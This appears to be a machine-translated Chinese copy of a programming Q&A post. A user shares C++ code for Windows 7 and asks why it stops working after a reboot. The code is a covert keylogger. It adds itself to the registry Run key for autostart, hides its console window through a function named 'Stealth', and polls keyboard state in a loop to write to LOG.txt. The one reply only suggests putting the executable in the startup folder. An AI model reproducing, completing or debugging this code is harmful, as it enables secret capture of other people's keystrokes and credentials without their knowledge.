使用C ++在启动时添加程序

时间:2015-03-21 12:40:21

标签: c++ file startup

我想在启动时添加cpp程序 这是一个代码。

 #include <iostream>
    using namespace std;
 #include <fstream>
 #include <stdlib.h>
 #include <windows.h>
 #include <string>
 #include <tchar.h>

 int Save (int key_stroke, char *file);
 void Stealth();

 int main()
{

/*/////////////// START UP ////////////*/
TCHAR exepath[MAX_PATH];
GetModuleFileName(0, exepath, MAX_PATH);
HKEY hKey;
LONG lnRes = RegOpenKeyEx(
       HKEY_CURRENT_USER,
       "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
       0,KEY_WRITE,
       &hKey
   );
   if( ERROR_SUCCESS == lnRes )
   {
      lnRes = RegSetValueEx(hKey,
                     "what I write here ???",
                     0,
                     REG_SZ,
                     (BYTE*) exepath,
                     _tcslen(exepath));
                     }
 /**********************************************/                    

Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");

return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

fprintf(OUTPUT_FILE, "%s", "[WORKING...]");

fclose (OUTPUT_FILE);

}

 /* *********************************** */

void Stealth()
 {
 HWND Stealth;
 AllocConsole();
 Stealth = FindWindowA("ConsoleWindowClass", NULL);
 ShowWindow(Stealth,0);
}

当您从keyborad输入任何按钮时,此代码会生成LOG.TXT文件 当我重新启动计算机时,此程序在启动时成功添加我在Task Manager中检查了此程序正在进行中 但是当我按下任何按钮时,LOG.TXT无法生成 该程序没有错误。还有一件事我复制粘贴了startup代码,我不知道我在这里写了什么lnRes = RegSetValueEx(hKey, "what I write here ???",
我写任何东西或不会对这个程序产生影响 任何人都可以告诉我为什么当我重新启动计算机时程序不起作用,否则这样做效果很好 我正在使用windows 7 这里可以使用cpp在启动时添加程序的任何其他方法 我知道有一种手动方法可以在启动文件夹中添加任何程序。但我不打算使用它。
感谢...

1 个答案:

答案 0 :(得分:0)

我建议如果您使用的是Windows操作系统,那么将您的c ++程序转换为Windows可执行文件并将其放入Windows启动程序中 http://xoax.net/cpp/crs/visualcpp/lessons/CreateExe/